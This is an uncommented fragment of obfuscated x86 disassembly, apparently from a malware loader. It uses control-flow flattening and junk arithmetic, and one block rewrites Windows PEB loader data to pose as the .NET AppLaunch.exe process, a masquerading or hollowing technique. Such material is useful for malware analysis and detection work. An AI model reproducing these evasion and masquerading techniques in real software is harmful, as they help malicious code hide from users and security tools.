mov eax, 0xa1e878f4
mov ecx, 0x24bca79e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a46d]
mov eax, 0xdfb8eb68
mov ecx, 0x26b47008
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a538]
mov dword [ebp - 0x4a5e0], 0x5fe6d85d
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xa65325dc
jmp 0x4134ef
mov eax, dword [ebp - 0x4a500]
mov dword [ebp - 0x4a5bc], eax
mov eax, dword [ebp - 0x4a5ac]
mov edx, dword [ebp - 0x4a468]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4a5c0], eax
mov dword [ebp - 0x4a5c4], 0
mov dword [ebp - 0x4a5e0], 0x2c8ab764
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0x6ce75941
jmp 0x4134ef
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a5d8]
imul edx, dword [ebp - 0x4a5dc], 0x14
add eax, edx
mov eax, dword [eax + 0x10]
add ecx, 0xd91797cb
add ecx, eax
sub ecx, 0xd91797cb
mov eax, dword [ebp - 0x4a590]
mov dword [eax], ecx
mov dword [ebp - 0x4a5e0], 0xbbb139ad
jmp 0x4134ef
mov eax, dword [ebp - 0x4a490]
mov eax, dword [ebp - 0x4a490]
mov eax, dword [ebp - 0x4a490]
mov eax, dword [ebp - 0x4a490]
mov eax, dword [ebp - 0x4a490]
mov eax, dword [ebp - 0x4a490]
mov eax, dword [ebp - 0x4a490]
mov dword [ebp - 0x4a5e0], 0xa0439db8
jmp 0x4134ef
mov eax, dword [ebp - 0x4a574]
mov dword [ebp - 0x4a5e0], 0xd55fef93
jmp 0x4134ef
mov eax, dword [ebp - 0x4a488]
mov eax, dword [ebp - 0x4a488]
mov eax, dword [ebp - 0x4a488]
mov eax, dword [ebp - 0x4a488]
mov eax, dword [ebp - 0x4a488]
mov eax, dword [ebp - 0x4a488]
mov dword [ebp - 0x4a5e0], 0xeaeb0ca2
jmp 0x4134ef
mov eax, dword [ebp - 0x4a478]
mov eax, dword [ebp - 0x4a478]
mov eax, dword [ebp - 0x4a478]
mov eax, dword [ebp - 0x4a478]
mov eax, dword [ebp - 0x4a478]
mov eax, dword [ebp - 0x4a478]
mov ecx, dword [ebp - 0x4a478]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x4a57c]
mov dword [eax], ecx
mov dword [ebp - 0x4a5e0], 0x9a9c4987
jmp 0x4134ef
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x4a570]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4a570]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0xc
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4a56c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4a56c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x14
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
add ecx, 0x45198979
sub ecx, 8
sub ecx, 0x45198979
mov eax, dword [ebp - 0x4a568]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a570]
mov eax, dword [eax]
xor edx, edx
sub edx, 8
sub eax, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a568]
mov eax, dword [eax]
xor edx, edx
sub edx, 0x18
sub eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x4a568]
mov ecx, dword [eax]
add ecx, 0x1cbae11d
add ecx, 0x24
sub ecx, 0x1cbae11d
mov eax, dword [ebp - 0x4a564]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4a560]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041d910
add esp, 0xc
mov dword [ebp - 0x4a5e0], 0xcac0356d
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xcd86c172
jmp 0x4134ef
jmp 0x40ee1c